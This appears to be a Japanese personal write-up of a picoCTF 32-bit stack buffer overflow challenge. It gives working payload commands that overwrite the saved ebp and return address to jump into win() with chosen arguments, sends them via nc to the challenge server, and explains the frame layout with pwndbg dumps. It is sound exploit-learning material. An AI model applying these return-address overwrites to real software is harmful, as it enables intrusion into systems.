win()の9dに飛ばす場合は、
└─$ echo -e '123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012340000\x20\xcf\xff\xff\x9d\x92\x04\x08\x00\x00\x00\x00\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' > input2.txt
win()の9bに飛ばすなら
└─$ (printf '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234000090AA\x9b\x92\x04\x08\x0\x0\x0\x0\x0\x0\x0\x0\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0'; cat )| nc saturn.picoctf.net 55165
winの0804929dについて
vuln()呼び出し時のスタックは
local
ebp
return(vulnからmainへの帰り先)
ebp
return(main)
でこれをwinに書き換えるので
5678
90AA(old_ebp)
winのアドレス
0x0000
arg1
arg2
でghidraでは以下のようになり、引数がebp + 0x4とebp+0x8になっている。
ebp+stack[0x4]:::現在のスタックフレームの先頭から0x4の位置
gdbの場合は、ebp+0x8 , ebp+0xcとなっていて気づくまではまった。
で、9dのpush eax命令に飛ばしたい場合は、winへのアドレスの上に任意のebpを乗っければよいので、win関数の比較命令直前の 0x0804930cにブレークポイントを打って、
0x08049309 <+115>: add esp,0x10
0x0804930c <+118>: cmp DWORD PTR
x/70x $ebp ebpから70個のアドレスの中身を出力
pwndbg> x/70x $ebp
pwndbg> x/70x $ebp
0xffffcec8: 0x3635343332313039 0x3433323130393837
0xffffced8: 0x3231303938373635 0x3039383736353433
0xffffcee8: 0x3837363534333231 0x3635343332313039
0xffffcef8: 0x3433323130393837 0x3231303938373635
0xffffcf08: 0x3039383736353433 0x3030303034333231
0xffffcf18: 0x30303030ffffcec8 0x0000000000000000
0xffffcf28: 0xf00df00dcafef00d 0xf7f9de14ffffcf00
0xffffcf38: 0xf7d8cd4300000000 0x0000000000000000
0xffffcf48: 0xf7d8cd43f7da6069 0xffffd00400000001
0xffffcf28: 0xf00df00dcafef00d 0xf7f9de14ffffcf00
に比較する値があるので、ebp+8に合わせるように、0xffffcf28-8して0xffffcf20を入れる。
そうすると、108文字+ffffcf20+win_Adress+......のようになる。
また、有効なアドレスを指定しないと
0x80492c5 mov dword ptr [ebp - 0xc], eax Cannot dereference [0x32cffff3]
のようなエラーが出る。
0804929bに飛ばす場合
当初誤解があって、ebpが書き換わるなら別に、ebpをpushしなくてもいいのではと思っていました。
比較命令で、ebp+8とebp+cがあるので
①
5678 <-esp
90AA(old_ebp) <-ebp
winのアドレス
0x0000
arg1
arg2
② vulnのret後
5678
90AA(old_ebp)
winのアドレス
0x0000 <-esp
arg1
arg2
........<-ebp(90AA)
③ win呼び出し時
push ebp
move ebp, espにより
old_ebp <-esp <-ebp
0x0000
arg1
arg2
となるのでこの場合は、112文字+win_address+0x0000+arg1+arg2で問題ない。
しかし、push ebpを飛ばすと、
0x0000 <-esp <-ebp
arg1
arg2
になるので、ebp+8に合わせるには、0x0000を追加しないといけない。
また、ebp+0x4の場合は、スタックを開放する向きなので、現在より以前の情報にアクセス
ebp-0x4の場合は、スタックを新しく作る方向なので、現在の関数のローカル変数等にアクセス。
subでスタックを作成
addでスタックを開放
また、x86 32bitの場合、mainから呼び出せれた関数で func(a,b)のような場合、callの直前でstackに積まれて渡される。なので
func関数
old ebp
return address
a
b
main関数